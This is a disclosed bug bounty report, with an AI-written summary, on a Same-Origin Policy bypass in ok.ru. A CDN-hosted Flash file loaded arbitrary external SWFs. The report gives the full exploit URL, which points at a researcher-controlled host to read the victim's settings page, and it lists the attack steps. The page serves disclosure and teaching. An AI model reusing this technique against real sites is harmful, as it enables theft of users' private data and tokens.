Same-Origin Policy bypass on main domain - ok.ru
A Flash file on a CDN allowed any domain to interact with it and loaded an arbitrary external SWF from an uncontrolled parameter. An attacker could use this to read content from the main domain and exfiltrate it, bypassing the Same-Origin Policy.
Originally disclosed on HackerOne
- Triaged in 4 days
- Fixed in 2 months
- Paid in 2 months
- Disclosed after 5 months
Hello,
I've just found a way to bypass Same-Origin Policy mechanism using vulnerability in one of swf files on your cdn. Let me explain this in details:
-
First of all - your Crossdomain which defines from what domains Flash files can read content on ok.ru. Crossdomain file is located here - http://ok.ru/crossdomain.xml
-
We need to find some vulnerable swf file on any of domains listed in crossdomain file.
-
I've found this shiny beauty: http://st.mycdn.me/static/MegaPlayer/10-2-21/vpaid-js-interface.swf
-
Flashbang Tool recognized that there are two parameters needed - "vpaidSwfUrl" and "Loader"
-
Decompilation of swf shows that Security.allowDomain("*") is used - so we can interact with this Flash file from any domain.
-
vpaidSwfUrl is not controlled at all, and it loads and executes any external SWF. So we can use our malicious one to prepare attack.
-
Our loaded and executed SWF from st.mycdn.me domain will make request to http://ok.ru/settings , read its content and send to javascript function in attacker controled origin.
-
Profit - attacker gained information, whitout any user interaction. Now he can steal such sensitive data as user's e-mail, csrf tokens, private messages, and so on.
Vulnerable file that loads content from ok.ru (can be viewed in browser Developer's console): http://st.mycdn.me/static/MegaPlayer/10-2-21/vpaid-js-interface.swf?vpaidSwfUrl=http://ropchain.org/poc/ok.swf?url=http://ok.ru/settings&Loader=test
Proof of Concept that loads http://ok.ru/settings page and put it as innerHTML of div element of domain that I control (ropchain.org): http://ropchain.org/poc/ok.html
I hope that everything is clear enough, but if not - please tell me, and I'll try to prepare better explaination, I'm also able to prepare video demonstration if you need one. Also if you have any other questions - feel free to ask me.
Have a great day! Jakub Zoczek
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the Flash file used Security.allowDomain("*") and accepted an arbitrary URL in the vpaidSwfUrl parameter without validation, allowing cross-domain loading and execution of untrusted SWF files.
Impact
An attacker could steal sensitive data such as the user's e-mail, CSRF tokens, and private messages without any user interaction.
What the attacker needed
Attacker hosts a malicious SWF file
How it was found
- Find the crossdomain.xml file on the main domain to see which domains are allowed to read content.
- Locate a vulnerable SWF file on one of the allowed domains.
- Identify the parameters vpaidSwfUrl and Loader in the SWF file.
- Decompile the SWF to confirm it uses Security.allowDomain("*") and does not validate vpaidSwfUrl.
- Host a malicious SWF that makes a request to the main domain's settings page and sends the content to an attacker-controlled JavaScript function.
- Load the vulnerable SWF with the malicious SWF URL in the vpaidSwfUrl parameter to execute the attack.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Websites normally prevent one site from reading another site's data using the Same-Origin Policy. Here, a Flash file on a content delivery network (CDN) could be tricked into loading a malicious Flash file, which then read data from the main website and sent it to the attacker. This let the attacker steal private information without the victim doing anything.
What is CORS?
A permissive cross-origin policy lets another site read responses with the user's credentials.